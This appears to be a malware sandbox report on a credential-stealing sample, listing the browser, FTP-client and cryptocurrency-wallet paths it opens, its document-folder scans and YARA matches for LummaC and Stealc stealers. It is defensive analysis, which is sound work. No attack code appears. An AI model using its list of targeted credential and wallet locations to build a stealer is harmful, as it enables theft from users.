Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Tries to harvest and steal ftp login credentials
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\ProgramData\SiteDesigner\3D-FTP
Tries to steal Crypto Currency Wallets
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Binance Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Roaming\Binance Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Searches for user specific document files
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\WUTJSCBCFX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\WUTJSCBCFX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Shows file infection / information gathering behavior (enumerates multiple directory for files)
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Directory queried: number of queries: 1309
Yara detected Credential Stealer
Source: Yara match File source: 0000000C.00000003.2886049051.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000003.2883520034.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000003.2873847206.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000003.2874734726.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000003.2883520034.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000003.2881423508.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000003.2649233251.0000000000C98000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000003.2879394897.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000003.2896778343.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000003.2879394897.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000003.2900515858.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000003.2873847206.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000003.2888639331.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000003.2891835597.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000003.2894727073.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000003.2874734726.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000003.2875692021.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000003.2884856458.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000003.2880668031.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000003.2897446385.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000003.2899196082.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000003.2876541093.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000003.2875692021.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000003.2876541093.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000003.2896778343.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000003.2899712973.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000003.2898684448.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000003.2828419524.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000003.2898142263.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000003.2898142263.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000003.2884856458.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000003.2894727073.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000003.2888639331.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000003.2898684448.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000003.2899196082.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000003.2886049051.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000003.2895825958.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000003.2899712973.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000003.2881423508.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000003.2897446385.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000003.2880668031.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000003.2828419524.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000003.2891835597.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000003.2895825958.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: file.exe PID: 7528, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 3e1d30d118.exe PID: 7660, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 3e1d30d118.exe PID: 6380, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Credential Flusher
Source: Yara match File source: 00000022.00000002.2983262363.00000000016B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: a8c7d2631f.exe PID: 8132, type: MEMORYSTR
Yara detected LummaC Stealer
Source: Yara match File source: Process Memory Space: file.exe PID: 7528, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 3e1d30d118.exe PID: 7660, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 3e1d30d118.exe PID: 6380, type: MEMORYSTR
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Yara detected Stealc
Source: Yara match File source: 32.2.num.exe.160000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 32.0.num.exe.160000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 31.2.c077ee22d1.exe.e90000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.c077ee22d1.exe.e90000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000B.00000002.2718871145.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000002.2922821640.0000000000E91000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000000.2803596225.000000000017E000.00000002.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000002.2828392068.0000000000161000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000003.2828721900.0000000005440000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000003.2676689966.0000000005320000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000000.2803560283.0000000000161000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2717758485.0000000000E91000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000002.2927409227.000000000182B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000002.2828765509.000000000017E000.00000002.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000002.2839248106.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: c077ee22d1.exe PID: 6988, type: MEMORYSTR
Source: Yara match File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\1003125001\num.exe, type: DROPPED
Source: Yara match File source: dump.pcap, type: PCAP
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
